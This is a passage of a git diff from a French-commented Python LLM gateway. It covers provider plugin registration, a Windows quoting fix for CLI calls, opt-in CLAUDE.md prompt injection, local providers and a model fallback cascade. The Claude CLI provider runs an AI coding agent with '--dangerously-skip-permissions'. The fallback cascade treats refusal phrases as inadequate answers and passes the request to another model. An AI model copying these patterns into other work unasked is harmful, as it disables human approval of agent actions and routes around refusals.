⚠️ `type` porte le vocabulaire DÉJÀ en base ("pay_as_you_go", "free", ...) et non + le type de transport : `models_db.py:1121` filtre dessus, et `models_db.py:1156` + l'affiche. Le type de transport est dans `transport`, qui n'est pas persisté. + """ + + id: str + name: str + type: str + transport: Literal["openai_compat", "native", "cli", "local"] = "openai_compat" + api_endpoint: str | None = None + auth: AuthSpec = field(default_factory=lambda: AuthSpec(kind="none")) + confidentiality: str = "none" + cascade_priority: float = 5.0 + models: tuple[ModelSpec, ...] = () + notes: str = "" + + def en_colonnes(self) -> dict[str, Any]: + """Projette le descripteur sur les colonnes de `providers`.""" + return { + "name": self.name, + "type": self.type, + "api_endpoint": self.api_endpoint, + "auth_method": self.auth.kind, + "confidentiality": self.confidentiality, + "cascade_priority": self.cascade_priority, + "notes": self.notes, + } + + +class ProviderPlugin(ABC): + """Un plugin = un descripteur + une fabrique de transport. + + `build()` lève au lieu de rendre `None` : un provider à moitié construit est + exactement l'état que ce chantier cherche à rendre non représentable. + """ + + @property + @abstractmethod + def descriptor(self) -> ProviderDescriptor: + """Métadonnées statiques — lisibles sans aucun secret ni appel réseau.""" + + @abstractmethod + def build(self, credentials: dict[str, str], model: str | None = None) -> Any: + """Instancie le transport, ou lève `CredentialsManquantes`. + + `credentials` est un dict de type environnement (souvent `os.environ`) : le + plugin y pioche ce que son `AuthSpec` déclare, il ne lit jamais l'environnement + lui-même — c'est ce qui rend l'enregistrement testable sans variable globale. + + `model` permet de construire un transport pour un modèle précis. C'est ce dont + l'étape 2 aura besoin : le gateway range aujourd'hui UNE instance PAR modèle + (`core/llm_gateway.py:232-237` pour Mistral). `None` = le premier modèle déclaré. + """ + + def health_check(self, transport: Any) -> tuple[bool, str]: + """Vérification optionnelle (une mini-génération). Défaut : aucun appel réseau. + + Alimentera le bouton « Ping » existant de `ihm-v2/src/views/LLMRegistry.tsx`. + """ + return True, "non vérifié" + + def discover_models(self, transport: Any) -> tuple[ModelSpec, ...]: + """Découverte dynamique (ex. GET /v1/models). Défaut : la liste déclarée, + ce qui couvre déjà la majorité des providers actuels.""" + return self.descriptor.models + + def credential_requise(self) -> str | None: + """Nom de la variable d'environnement attendue, ou None si aucune.""" + return self.descriptor.auth.env_var + + def __repr__(self) -> str: # pragma: no cover - confort de debug + return f"<{type(self).__name__} id={self.descriptor.id!r}>" diff --git a/core/llm/provider_registration.py b/core/llm/provider_registration.py new file mode 100644 index 0000000..d001e2d --- /dev/null +++ b/core/llm/provider_registration.py @@ -0,0 +1,187 @@ +""" +core/llm/provider_registration.py — Enregistrement des providers depuis leurs plugins +(#T231, étape 1). + +Porte l'invariant qui supprime la divergence catalogue↔gateway (design §5) : + + 1. découverte → liste de ProviderPlugin + 2. build() → transport instancié, OU exception → on écarte et on journalise + 3. INSERT → providers + models, UNIQUEMENT pour ceux de l'étape 2 + +Autrement dit : **pas de transport, pas de ligne en base**. L'état « au catalogue mais +injoignable » (badge `non câblé` de `ihm-v2/src/views/LLMRegistry.tsx`) devient non +représentable pour les providers passés par ce chemin. + +Étape 1 : la fonction existe, est testée, et n'est appelée par aucun chemin de +production. C'est volontaire — `core/llm_gateway.py` et `seed_models_db.py` restent +inchangés tant que les 18 providers ne sont pas convertis, sans quoi on créerait +exactement la bascule à moitié faite que le design met en garde de ne pas faire (§6). + +Étape 2 : les providers du seed sont convertis (`core/llm/builtin_providers.py`) et +`enregistrer_provider_plugins_once()` est appelé au démarrage par `core/factory.py`. +L'écriture est en **upsert seul** : rien n'est jamais supprimé du catalogue ici. +""" + +from __future__ import annotations + +import logging +import os +from dataclasses import dataclass, field +from typing import Any + +from core.llm.provider_plugin import ( + CredentialsManquantes, + ProviderPlugin, + ProviderPluginError, +) + +logger = logging.getLogger(__name__) + + +@dataclass +class RapportEnregistrement: + """Résultat d'une passe d'enregistrement. + + `transports` est indexé par `":"` : le gateway range une + instance par modèle (`llm_gateway.py:232-237`), pas une par provider. + """ + + transports: dict[str, Any] = field(default_factory=dict) + providers_enregistres: list[str] = field(default_factory=list) + modeles_enregistres: list[str] = field(default_factory=list) + ecartes: dict[str, str] = field(default_factory=dict) # provider_id → raison + + @property + def ok(self) -> bool: + """Vrai si au moins un provider a été enregistré et aucun n'a échoué anormalement.""" + return bool(self.providers_enregistres) and not self.ecartes + + +def register_provider_plugins( + plugins: tuple[ProviderPlugin, ...] | list[ProviderPlugin], + credentials: dict[str, str], + *, + dry_run: bool = False, + upsert_provider: Any = None, + upsert_model: Any = None, +) -> RapportEnregistrement: + """Construit puis enregistre les providers dont le transport a pu être bâti. + + Args: + plugins: plugins à traiter (typiquement `BUILTIN_PROVIDER_PLUGINS`). + credentials: dict de type environnement (souvent `os.environ`). Passé + explicitement pour que l'enregistrement soit testable sans variable globale. + dry_run: construit les transports mais n'écrit rien en base. Sert à répondre + « que se passerait-il ? » sans toucher au catalogue. + upsert_provider / upsert_model: injection des écritures, pour les tests. Par + défaut, celles de `core.models_db`. L'import est différé pour ne pas ouvrir + de connexion SQLite au simple import de ce module. + + Returns: + RapportEnregistrement — transports construits, lignes écrites, providers écartés. + """ + if upsert_provider is None or upsert_model is None: + from core import models_db + + upsert_provider = upsert_provider or models_db.upsert_provider + upsert_model = upsert_model or models_db.upsert_model + + rapport = RapportEnregistrement() + + for plugin in plugins: + descripteur = plugin.descriptor + pid = descripteur.id + + # ── Étape 2 : construire AVANT d'écrire quoi que ce soit ────────────── + transports_du_provider: dict[str, Any] = {} + try: + for spec in descripteur.models: + transports_du_provider[f"{pid}:{spec.id}"] = plugin.build( + credentials, model=spec.id + ) + except CredentialsManquantes as exc: + # Cas normal : provider non configuré sur cette machine. On écarte sans + # bruit d'erreur — c'est précisément ce qu'on veut à la place d'une ligne + # de catalogue injoignable. + logger.info("[ProviderRegistration] '%s' écarté : %s", pid, exc) + rapport.ecartes[pid] = str(exc) + continue + except ProviderPluginError as exc: + logger.error("[ProviderRegistration] '%s' écarté (transport invalide) : %s", pid, exc) + rapport.ecartes[pid] = str(exc) + continue + except Exception as exc: # défensif : un plugin tiers peut lever n'importe quoi + logger.error("[ProviderRegistration] '%s' écarté (erreur inattendue) : %s", pid, exc) + rapport.ecartes[pid] = f"{type(exc).__name__}: {exc}" + continue + + if dry_run: + rapport.transports.update(transports_du_provider) + logger.info("[ProviderRegistration] '%s' constructible (dry-run, rien écrit).", pid) + continue + + # ── Étape 3 : écrire, maintenant qu'on sait que le transport existe ─── + if not upsert_provider(pid, **descripteur.en_colonnes()): + rapport.ecartes[pid] = "échec de l'écriture du provider en base" + logger.error("[ProviderRegistration] '%s' : upsert_provider a échoué.", pid) + continue + + rapport.providers_enregistres.append(pid) + rapport.transports.update(transports_du_provider) + + # `discover_models` rend la liste déclarée par défaut ; un provider capable + # d'interroger son API (GET /v1/models) la surcharge sans changer ce flux. + premier_transport = next(iter(transports_du_provider.values()), None) + for spec in plugin.discover_models(premier_transport): + if upsert_model(spec.id, **spec.en_colonnes(pid)): + rapport.modeles_enregistres.append(spec.id) + else: + logger.warning( + "[ProviderRegistration] '%s' : upsert_model('%s') a échoué.", pid, spec.id + ) + + logger.info( + "[ProviderRegistration] %d provider(s) enregistré(s), %d modèle(s), %d écarté(s).", + len(rapport.providers_enregistres), + len(rapport.modeles_enregistres), + len(rapport.ecartes), + ) + return rapport + + +_ENREGISTREMENT_FAIT = False + + +def enregistrer_provider_plugins_once(credentials: dict[str, str] | None = None) -> RapportEnregistrement | None: + """[#T231 étape 2] Enregistrement idempotent des plugins internes, au démarrage. + + Appelé par `core/factory.create_engine()` (partagé par gui_server, main et + mcp_server) : le catalogue reçoit les providers/modèles dont le transport a pu + être construit — c'est-à-dire dont les identifiants sont présents sur CET hôte. + C'est ce qui résout #T242 : le catalogue suit les capacités réelles de l'hôte à + chaque démarrage, sans re-seed manuel (sur le Deck, `dashscope` arrive enfin au + catalogue puisque la clé y est depuis #T244). + + Désactivable via `MOTEUR_PROVIDER_PLUGINS=0` (repli sans redéploiement). + Un échec ne doit JAMAIS empêcher le démarrage : l'ancien chemin (gateway + + seed) reste pleinement opérationnel. + """ + global _ENREGISTREMENT_FAIT + if _ENREGISTREMENT_FAIT: + return None + _ENREGISTREMENT_FAIT = True + + if os.getenv("MOTEUR_PROVIDER_PLUGINS", "1").strip().lower() in ("0", "false", "off", "no"): + logger.info("[ProviderRegistration] Désactivé par MOTEUR_PROVIDER_PLUGINS — catalogue inchangé.") + return None + + try: + from core.llm.builtin_providers import BUILTIN_PROVIDER_PLUGINS + + return register_provider_plugins( + BUILTIN_PROVIDER_PLUGINS, + credentials if credentials is not None else dict(os.environ), + ) + except Exception: + logger.exception("[ProviderRegistration] Échec de l'enregistrement des plugins — l'ancien chemin reste actif.") + return None diff --git a/core/llm/providers/base.py b/core/llm/providers/base.py index c97a422..0f9786f 100644 --- a/core/llm/providers/base.py +++ b/core/llm/providers/base.py @@ -2,13 +2,13 @@ core/llm/providers/base.py — Classe de base abstraite pour les LLM providers. """ -from abc import ABC, abstractmethod -from typing import Dict, Any import asyncio import shutil import subprocess import sys import time +from abc import ABC, abstractmethod +from typing import Any def run_cli_command(cmd: list, **kwargs) -> subprocess.CompletedProcess: @@ -19,24 +19,35 @@ def run_cli_command(cmd: list, **kwargs) -> subprocess.CompletedProcess: chaîne shell). Résout l'exécutable et gère le cas Windows où les `.cmd`/`.bat` ne sont pas lançables directement via CreateProcess (on passe alors par `cmd /c`, toujours sans shell, donc sans interprétation de chaîne). + + [#T292] Sous Windows, la ligne passée à cmd.exe est ENCADRÉE d'une paire de + guillemets supplémentaire : cmd.exe retire la paire extérieure quand la ligne + qui suit `/c` commence ET finit par un guillemet, ce qui dépouillait le chemin + de l'exécutable de ses guillemets (coupure au premier espace, ex: « Antigravity + IDE »). La ligne encadrée est passée en CHAÎNE avec `executable=cmd.exe` : + passée en liste, subprocess la re-quote et échapperait les guillemets internes + avec des backslashes, que cmd.exe ne sait pas dépouiller. """ argv = list(cmd) + executable = None if argv: argv[0] = shutil.which(argv[0]) or argv[0] if sys.platform == "win32" and str(argv[0]).lower().endswith((".cmd", ".bat")): - argv = ["cmd", "/c", *argv] + ligne = subprocess.list2cmdline(argv) + executable = shutil.which("cmd") or "cmd" + argv = f'cmd /c "{ligne}"' kwargs.pop("shell", None) # garde-fou : on force shell=False ci-dessous - return subprocess.run(argv, shell=False, **kwargs) + return subprocess.run(argv, shell=False, executable=executable, **kwargs) class LLMProvider(ABC): """Interface standard pour tout fournisseur de modèle de langage (SRP).""" - + @abstractmethod def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: pass - + @abstractmethod - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: pass def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): @@ -54,7 +65,7 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): if isinstance(full_response, dict): yield {"token": str(full_response), "done": True, "usage": None} return - + text = str(full_response) words = text.split(" ") for i, word in enumerate(words): @@ -79,7 +90,7 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - return await asyncio.to_thread(self.generate, system_prompt, user_prompt, **kwargs) async def generate_structured_async( - self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs - ) -> Dict[str, Any]: + self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs + ) -> dict[str, Any]: """[D5] Variante asynchrone de generate_structured(). Même principe que generate_async.""" return await asyncio.to_thread(self.generate_structured, system_prompt, user_prompt, schema, **kwargs) diff --git a/core/llm/providers/deepseek.py b/core/llm/providers/deepseek.py index 85b75fc..b69a60e 100644 --- a/core/llm/providers/deepseek.py +++ b/core/llm/providers/deepseek.py @@ -3,19 +3,23 @@ """ import asyncio -import os import json import logging +import os +import random import shutil import subprocess import time -import random +from typing import Any + import requests -from typing import Dict, Any -from .base import LLMProvider, run_cli_command -from ..circuit_breaker import CircuitBreaker + from core.llm_timeouts import get_timeout +from ..circuit_breaker import CircuitBreaker +from ..fallback_trace import marquer_modele_repondu +from .base import LLMProvider, run_cli_command + try: from core.otel import llm_span, set_span_tokens except ImportError: @@ -29,45 +33,71 @@ def set_span_tokens(*a, **kw): pass # Chargement du pool HTTP partagé +# + filtrer_champs_prives : retrait des champs privés internes (ex: +# _thought_signature Gemini) avant envoi aux APIs externes (#T263). try: - from core.openai_compat_provider import SharedHTTPPool + from core.openai_compat_provider import SharedHTTPPool, filtrer_champs_prives _USE_HTTP_POOL = True except ImportError: _USE_HTTP_POOL = False SharedHTTPPool = None + filtrer_champs_prives = None logger = logging.getLogger(__name__) +#: [T287] Drapeau d'appel qui demande les conventions projet (CLAUDE.md). +#: Absent ou False = aucune injection. Il est CONSOMMÉ par le wrapper et ne +#: descend jamais dans le payload envoyé au provider. +KWARG_CONVENTIONS = "conventions_projet" + + class ClaudeInstructionsWrapper(LLMProvider): """ - Wrapper Décorateur qui injecte automatiquement les instructions de CLAUDE.md - au prompt système de tout appel de génération. + Wrapper Décorateur qui injecte les instructions de CLAUDE.md au prompt + système — **uniquement quand l'appelant le demande** (`conventions_projet=True`). + + [T287] L'injection était auparavant INCONDITIONNELLE, sur tous les appels de + tous les providers (`LLMGateway._get_raw_provider()` enveloppe tout). Mesuré + le 11/08 : +5056 caractères (~1264 tokens) par appel, dont la section + « Tu as accès à 9 serveurs MCP » avec la liste des outils. Conséquence + observée : des modèles SANS aucun outil déclaré dans le payload répondaient + par des `functionCall` fantômes vers ces noms exacts, donc 0 caractère de + texte, donc escalade de la cascade vers un modèle plus cher. A/B sur + gemini-3.5-flash-free : sans injection 3/3 réponses texte (~4,3 s) ; avec + injection 1 réponse courte, 1 timeout de 120 s. + + ⚠️ Et l'injection n'atteignait même pas sa cible. Les providers ignorent + `system_prompt` quand l'appelant fournit `messages=` (cas de la boucle ReAct + de l'Executor, l'agent qui écrit réellement le code) : mesuré 5067 caractères + de prompt système sur un appel simple contre 12 sur un appel `messages=`. + Le chat et le vocal payaient donc les conventions, l'agent de code ne les + recevait pas. `_appliquer_conventions()` traite désormais les deux formes. """ def __init__(self, provider: LLMProvider): self.provider = provider self._cached_instructions = None self._last_loaded = 0.0 - + def _get_claude_instructions(self) -> str: """Lit et met en cache le fichier CLAUDE.md pour éviter les lectures disques répétées.""" now = time.time() if self._cached_instructions is not None and now - self._last_loaded < 10.0: return self._cached_instructions - + self._cached_instructions = "" self._last_loaded = now - + possible_paths = [ os.path.join(os.getcwd(), "CLAUDE.md"), os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__)))), "CLAUDE.md"), "CLAUDE.md" ] - + for path in possible_paths: if os.path.exists(path): try: - with open(path, "r", encoding="utf-8") as f: + with open(path, encoding="utf-8") as f: content = f.read().strip() if content: self._cached_instructions = ( @@ -76,41 +106,90 @@ def _get_claude_instructions(self) -> str: break except Exception as e: logger.warning(f"[ClaudeInstructionsWrapper] Erreur lors de la lecture de CLAUDE.md: {e}") - + return self._cached_instructions - def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: - instructions = self._get_claude_instructions() - full_system = system_prompt - if instructions: - full_system = system_prompt + instructions - return self.provider.generate(full_system, user_prompt, **kwargs) + def _appliquer_conventions(self, system_prompt: str, kwargs: dict) -> str: + """Applique les conventions projet SI l'appelant les a demandées. + + Consomme `conventions_projet` de kwargs (il ne doit jamais atteindre le + payload d'un provider), enrichit le prompt système rendu, et — quand + l'appelant fournit `messages=` — enrichit AUSSI son message système, + seul chemin réellement lu par les providers OpenAI-compatibles. + + Retourne le prompt système à transmettre ; `kwargs` est modifié en place + pour `messages`. + """ + if not kwargs.pop(KWARG_CONVENTIONS, False): + return system_prompt - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: instructions = self._get_claude_instructions() - full_system = system_prompt - if instructions: - full_system = system_prompt + instructions - return self.provider.generate_structured(full_system, user_prompt, schema, **kwargs) + if not instructions: + return system_prompt + + messages = kwargs.get("messages") + if messages: + # ⚠️ Copie obligatoire : la boucle ReAct de l'Executor RÉUTILISE sa + # liste de messages d'un tour à l'autre. Une modification en place + # empilerait les conventions à chaque tour, jusqu'à saturer la + # fenêtre de contexte au bout de quelques itérations. + copie = [dict(m) for m in messages] + if copie and copie[0].get("role") == "system": + copie[0]["content"] = (copie[0].get("content") or "") + instructions + else: + copie.insert(0, {"role": "system", "content": instructions.lstrip("\n")}) + kwargs["messages"] = copie + + # Gemini natif, lui, lit `system_prompt` en priorité et ignore le message + # système de `messages` — d'où l'enrichissement des deux, sans doublon + # possible puisque chaque provider n'en lit qu'un seul. + return system_prompt + instructions + + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: + systeme = self._appliquer_conventions(system_prompt, kwargs) + return self.provider.generate(systeme, user_prompt, **kwargs) + + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: + systeme = self._appliquer_conventions(system_prompt, kwargs) + return self.provider.generate_structured(systeme, user_prompt, schema, **kwargs) def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): - instructions = self._get_claude_instructions() - full_system = system_prompt - if instructions: - full_system = system_prompt + instructions - yield from self.provider.generate_stream(full_system, user_prompt, **kwargs) + systeme = self._appliquer_conventions(system_prompt, kwargs) + yield from self.provider.generate_stream(systeme, user_prompt, **kwargs) + + # ⚠️ Les deux méthodes async ci-dessous sont INDISPENSABLES, pas du confort. + # Sans elles, le wrapper hérite de LLMProvider.generate_async(), qui exécute + # `self.generate` (donc le chemin SYNCHRONE `requests`) dans un thread. Or + # LLMGateway._get_raw_provider() enveloppe TOUS les providers : le chemin + # async natif httpx de OpenAICompatibleProvider.generate_async() et de + # AnthropicNativeProvider.generate_async() n'était donc jamais emprunté — + # tout le hot-path async retombait sur to_thread + requests bloquant. + async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: + systeme = self._appliquer_conventions(system_prompt, kwargs) + return await self.provider.generate_async(systeme, user_prompt, **kwargs) + + async def generate_structured_async( + self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs + ) -> dict[str, Any]: + systeme = self._appliquer_conventions(system_prompt, kwargs) + return await self.provider.generate_structured_async(systeme, user_prompt, schema, **kwargs) class LMStudioProvider(LLMProvider): """Provider pour l'exécution locale (Garantie de confidentialité, coût 0).""" - - def __init__(self, base_url: str = "http://${LMSTUDIO_HOST:-localhost}:1234/v1/chat/completions"): + + def __init__(self, base_url: str = "http://${LM_STUDIO_HOST:-192.168.1.x}:1234/v1/chat/completions"): self.base_url = base_url self.headers = {"Content-Type": "application/json"} - + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: messages = kwargs.get("messages") - if not messages: + if messages: + # Champs privés internes du moteur (ex: _thought_signature Gemini) : + # jamais transmis aux APIs externes (#T263). + if filtrer_champs_prives: + messages = filtrer_champs_prives(messages) + else: messages = [ {"role": "system", "content": system_prompt}, {"role": "user", "content": user_prompt} @@ -120,26 +199,26 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: "temperature": kwargs.get("temperature", 0.0), "max_tokens": kwargs.get("max_tokens", 800) } - + logger.debug(f"Appel API LM Studio ({self.base_url})") _http = SharedHTTPPool.get_session() if _USE_HTTP_POOL else requests response = _http.post(self.base_url, headers=self.headers, json=payload, timeout=get_timeout("lmstudio")) response.raise_for_status() - + resp_json = response.json() usage = resp_json.get("usage") if usage: from core.token_tracker import record_usage record_usage("local", usage.get("prompt_tokens", 0), usage.get("completion_tokens", 0), session_id=kwargs.get("session_id")) - + message = resp_json["choices"][0]["message"] - + if "tool_calls" in message: return message - + return message.get("content", "") - - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: payload = { "messages": [ {"role": "system", "content": system_prompt + "\nTu DOIS répondre UNIQUEMENT au format JSON strict."}, @@ -147,18 +226,18 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict ], "temperature": kwargs.get("temperature", 0.0) } - + logger.debug("Appel API LM Studio (generate_structured)") _http = SharedHTTPPool.get_session() if _USE_HTTP_POOL else requests response = _http.post(self.base_url, headers=self.headers, json=payload, timeout=get_timeout("lmstudio")) response.raise_for_status() - + resp_json = response.json() usage = resp_json.get("usage") if usage: from core.token_tracker import record_usage record_usage("local", usage.get("prompt_tokens", 0), usage.get("completion_tokens", 0), session_id=kwargs.get("session_id")) - + content = resp_json["choices"][0]["message"].get("content", "{}") try: return json.loads(content) @@ -173,11 +252,11 @@ class OllamaDeckProvider(LLMProvider): Compatible API OpenAI (format identique à LMStudioProvider). """ - DECK_HOSTS = ["${OLLAMA_HOST:-localhost}", "${DECK_IP_2:-localhost}"] # Ethernet prioritaire, Wi-Fi fallback + DECK_HOSTS = ["${DECK_HOST:-192.168.1.x}", "${DECK_HOST_WIFI:-192.168.1.x}"] # Ethernet prioritaire, Wi-Fi fallback def __init__( self, - host: str = "${OLLAMA_HOST:-localhost}", + host: str = "${DECK_HOST:-192.168.1.x}", port: int = 11434, model_name: str = "phi3:mini", ): @@ -302,9 +381,9 @@ class ClaudeCLIProvider(LLMProvider): """ Provider pour exécuter Claude Code en mode non-interactif via son CLI npm global. """ - + _STDIN_WARNING = "Warning: no stdin data received" - + def __init__(self): if os.name == "nt": # Windows appdata = os.environ.get("APPDATA") or os.path.expanduser("~/AppData/Roaming") @@ -314,19 +393,19 @@ def __init__(self): if not os.path.exists(self.cmd_path): self.cmd_path = shutil.which("claude") or "claude" self.default_model = None - + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: prompt = f"{system_prompt}\n\n{user_prompt}".strip() - + cmd = [ self.cmd_path, "-p", "--dangerously-skip-permissions", "--output-format", "json" ] - + model = kwargs.get("model") or self.default_model if model and not model.endswith("-cli"): cmd += ["--model", model] - + use_stdin_pipe = False prompt_file = None if len(prompt) > 7000: @@ -344,15 +423,15 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: use_stdin_pipe = False else: cmd.append(prompt) - + logger.info( - f"[Claude Code CLI] Appel: -p --dangerously-skip-permissions --output-format json" + "[Claude Code CLI] Appel: -p --dangerously-skip-permissions --output-format json" + (f" --model {model}" if model else " (modèle par défaut Claude Sonnet)") ) - + try: if use_stdin_pipe and prompt_file: - with open(prompt_file, 'r', encoding='utf-8') as pf: + with open(prompt_file, encoding='utf-8') as pf: result = run_cli_command( cmd, capture_output=True, @@ -376,39 +455,39 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: timeout=get_timeout("claude_cli"), stdin=subprocess.DEVNULL ) - + stdout_raw = result.stdout.strip() - + if result.returncode != 0: stderr_clean = result.stderr.strip() if stderr_clean and not stderr_clean.startswith("Warning:"): logger.error(f"[Claude Code CLI] Erreur ({result.returncode}): {stderr_clean}") raise RuntimeError(f"Claude CLI error ({result.returncode}): {stderr_clean}") - + if not stdout_raw: raise RuntimeError("Claude CLI n'a retourné aucune réponse.") - + response_text = stdout_raw real_input_tokens = 0 real_output_tokens = 0 real_cost_usd = 0.0 ttft_ms = None model_used = "claude" - + try: data = json.loads(stdout_raw) response_text = data.get("result", stdout_raw) - + usage = data.get("usage", {}) real_input_tokens = usage.get("input_tokens", 0) + usage.get("cache_read_input_tokens", 0) real_output_tokens = usage.get("output_tokens", 0) real_cost_usd = data.get("total_cost_usd", 0.0) ttft_ms = data.get("ttft_ms") - + model_usage = data.get("modelUsage", {}) if model_usage: model_used = max(model_usage, key=lambda m: model_usage[m].get("outputTokens", 0)) - + logger.info( f"[Claude Code CLI] ✅ Réponse OK | " f"Modèle: {model_used} | " @@ -416,21 +495,21 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: f"Coût: ${real_cost_usd:.6f} | " f"TTFT: {ttft_ms}ms" ) - + except json.JSONDecodeError: logger.warning("[Claude Code CLI] Réponse non-JSON, utilisation du stdout brut.") lines = response_text.splitlines() response_text = "\n".join(l for l in lines if not l.startswith("Warning:")).strip() real_input_tokens = max(1, len(prompt) // 4) real_output_tokens = max(1, len(response_text) // 4) - + except subprocess.TimeoutExpired: logger.error("[Claude Code CLI] Timeout 240s dépassé.") raise RuntimeError("Claude CLI timeout après 240s") except Exception as e: logger.error(f"[Claude Code CLI] Erreur: {e}") raise e - + from core.token_tracker import record_usage record_usage( model_used, @@ -439,11 +518,11 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: session_id=kwargs.get("session_id"), cost_usd=real_cost_usd ) - + return response_text - - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: sys_prompt = system_prompt + "\nTu DOIS répondre UNIQUEMENT au format JSON strict, sans bloc markdown, sans explication." response_text = self.generate(sys_prompt, user_prompt, **kwargs) try: @@ -465,15 +544,15 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict class FallbackProvider(LLMProvider): """Provider qui enveloppe plusieurs providers et bascule sur le suivant en cas d'échec ou de circuit ouvert.""" - + _LOW_QUALITY_SIGNALS = [ "je ne sais pas", "je ne peux pas", "i don't know", "i cannot", "je suis désolé, je ne", "as an ai", "en tant qu'ia", ] - + def __init__(self, providers: list[tuple[str, LLMProvider]]): self.providers = providers - + def _is_response_adequate(self, response) -> bool: """Heuristique rapide pour détecter une réponse insuffisante.""" if not isinstance(response, str): @@ -483,11 +562,16 @@ def _is_response_adequate(self, response) -> bool: return False response_lower = response_stripped.lower() return not any(signal in response_lower for signal in self._LOW_QUALITY_SIGNALS) - + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: if not self.providers: raise ValueError("Aucun provider disponible pour ce Tier.") + # [T288] Chaque appel repart d'une trace vierge : un hit du cache + # sémantique (aucun modèle ne répond) ou un échec total ne doivent pas + # réexposer le modèle d'un appel précédent de la même tâche. + marquer_modele_repondu(None) + # [Cache sémantique] Opt-out par appel + skip si outils (réponses tool-call # non cachables). Le singleton est no-op tant que config.json ne l'active pas. use_cache = kwargs.pop("use_semantic_cache", True) and not kwargs.get("tools") @@ -511,12 +595,18 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: last_error = None escalation_used = False - for model_name, provider in self.providers: + for provider_idx, (model_name, provider) in enumerate(self.providers): cb = CircuitBreaker.get_or_create(model_name) if cb.is_open(): logger.warning(f"[FALLBACK GATEWAY] Circuit ouvert pour le modèle '{model_name}'. Modèle court-circuité.") continue - + + # [#T212] L'escalade "réponse inadéquate" n'a de sens que s'il RESTE un + # provider vers qui escalader : sur le dernier (ou en cascade d'un seul + # élément, cas de l'accès direct get_provider), jeter une réponse déjà + # payée pour lever une erreur serait strictement pire. + has_next_provider = provider_idx < len(self.providers) - 1 + retries = 2 while retries > 0: start_time = time.time() @@ -525,8 +615,8 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: res = provider.generate(system_prompt, user_prompt, **kwargs) latency = time.time() - start_time cb.record_success(latency) - - if not escalation_used and not self._is_response_adequate(res): + + if has_next_provider and not escalation_used and not self._is_response_adequate(res): logger.warning( f"[FALLBACK GATEWAY] ⬆️ Réponse inadéquate de '{model_name}' " f"({len(str(res))} chars). Escalade vers le modèle suivant." @@ -538,6 +628,9 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: if sem_cache is not None and isinstance(res, str): sem_cache.put(cache_key, res, model=model_name) + # [T288] Point de vérité : c'est ici, et seulement ici, qu'on + # sait quel candidat a gagné la cascade. + marquer_modele_repondu(model_name) return res except Exception as e: err_msg = str(e).lower() @@ -547,7 +640,7 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: logger.warning(f"[FALLBACK GATEWAY] Modèle {model_name} a levé un Rate Limit (429). Retente après backoff...") cb.record_rate_limit() continue - + cb.record_failure(e) backoff_delay = 0.5 + random.uniform(0, 0.5) logger.warning( @@ -557,7 +650,7 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: time.sleep(backoff_delay) last_error = e break - + raise last_error or RuntimeError("Tous les providers configurés ont échoué ou ont leurs circuits ouverts.") async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: @@ -569,6 +662,11 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - if not self.providers: raise ValueError("Aucun provider disponible pour ce Tier.") + # [T288] Chaque appel repart d'une trace vierge : un hit du cache + # sémantique (aucun modèle ne répond) ou un échec total ne doivent pas + # réexposer le modèle d'un appel précédent de la même tâche. + marquer_modele_repondu(None) + use_cache = kwargs.pop("use_semantic_cache", True) and not kwargs.get("tools") sem_cache = None cache_key = "" @@ -598,6 +696,10 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - logger.warning(f"[FALLBACK GATEWAY] Circuit ouvert pour le modèle '{model_name}'. Modèle court-circuité.") continue + # [#T212] Même règle que generate() : pas d'escalade qualité sans + # provider suivant vers qui escalader. + has_next_provider = fallback_idx < len(self.providers) - 1 + # Dériver le système provider depuis le nom du modèle (best-effort) _system = model_name.split("-")[0] if model_name else "unknown" @@ -617,7 +719,7 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - cb.record_success(latency) set_span_tokens(_span, latency_ms=latency * 1000) - if not escalation_used and not self._is_response_adequate(res): + if has_next_provider and not escalation_used and not self._is_response_adequate(res): logger.warning( f"[FALLBACK GATEWAY] ⬆️ Réponse 